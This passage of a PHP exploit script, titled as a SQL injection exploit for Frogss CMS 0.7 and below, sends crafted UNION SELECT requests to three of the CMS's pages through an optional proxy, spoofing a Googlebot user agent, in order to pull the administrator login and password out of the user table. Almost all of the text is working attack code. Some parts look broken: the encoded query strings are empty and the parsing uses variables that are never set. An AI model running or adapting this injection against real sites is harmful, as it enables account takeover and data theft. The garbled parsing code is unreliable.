126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function wyslijpakiet($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); $parts[1]=(int)$parts[1]; echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $action=$argv[3]; $port=80; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=(int)str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die("Bad path!");} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if (($action!=1) and ($action!=2) and ($action!=3)) {echo "select Vulnerabilities number (1,2,3) ...";} function char_convert($my_string) { $encoded="CHAR("; for ($k=0; $k<=strlen($my_string)-1; $k++) { $encoded.=ord($my_string[$k]); if ($k==strlen($my_string)-1) {$encoded.=")";} else {$encoded.=",";} } return $encoded; } if ($action==1) { print "+++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; print "Frogss CMS <= 0.7 SQL Injection Exploit by Kacper\r\n"; print "Vulnerabilities Number: 1\r\n"; $packet ="GET ".$p."katalog.php?dzial=-99999999'/**/UNION/**/SELECT/**/0,CONCAT(".char_convert("").")/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/* HTTP/1.0\r\n"; $packet.="Referer: http://".$host.$path."katalog.php\r\n"; $packet.="Accept-Language: pl\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; wyslijpakiet($packet); sleep(3); $t=explode("",$t[1]); $pass=$t2[0]; echo "Admin Password: ".$pass."\r\n"; $packet ="GET ".$p."katalog.php?dzial=-99999999'/**/UNION/**/SELECT/**/0,CONCAT(".char_convert("").")/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/* HTTP/1.0\r\n"; $packet.="Referer: http://".$host.$path."katalog.php\r\n"; $packet.="Accept-Language: pl\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; wyslijpakiet($packet); sleep(3); $t=explode("",$t[1]); $login=$t2[0]; echo "Admin Login: ".$login."\r\n"; } elseif ($action==2) { print "+++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; print "Frogss CMS <= 0.7 SQL Injection Exploit by Kacper\r\n"; print "Vulnerabilities Number: 2\r\n"; $packet ="GET ".$p."forum.php?d=1&t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(".char_convert("")."),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n"; $packet.="Referer: http://".$host.$path."forum.php\r\n"; $packet.="Accept-Language: pl\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; wyslijpakiet($packet); sleep(3); $t=explode("",$t[1]); $pass=$t2[0]; echo "Admin Password: ".$pass."\r\n"; $packet ="GET ".$p."forum.php?d=1&t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(".char_convert("")."),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n"; $packet.="Referer: http://".$host.$path."forum.php\r\n"; $packet.="Accept-Language: pl\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; wyslijpakiet($packet); sleep(3); $t=explode("",$t[1]); $login=$t2[0]; echo "Admin Login: ".$login."\r\n"; } elseif ($action==3) { print "+++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; print "Frogss CMS <= 0.7 SQL Injection Exploit by Kacper\r\n"; print "Vulnerabilities Number: 3\r\n"; $packet ="GET ".$p."forum/viewtopic.php?t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(".char_convert("")."),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n"; $packet.="Referer: http://".$host.$path."forum/viewtopic.php\r\n"; $packet.="Accept-Language: pl\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; wyslijpakiet($packet); sleep(3); $t=explode("",$t[1]); $pass=$t2[0]; echo "Admin Password: ".$pass."\r\n"; $packet ="GET ".$p."forum/viewtopic.php?t=-99999999/**/UNION/**/SELECT/**/0,1,CONCAT(".char_convert("")."),3,4,5,6,7,8/**/FROM/**/uzytkownicy/**/WHERE/**/poziom=0/**/LIMIT/**/0,1/* HTTP/1.0\r\n"; $packet.="Referer: http://".$host.$path."forum/viewtopic.php\r\n"; $packet.="Accept-Language: pl\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; wyslijpakiet($packet); sleep(3); $t=explode("",$t[1]); $login=$t2[0]; echo "Admin Login: ".$login."\r\n"; } ?>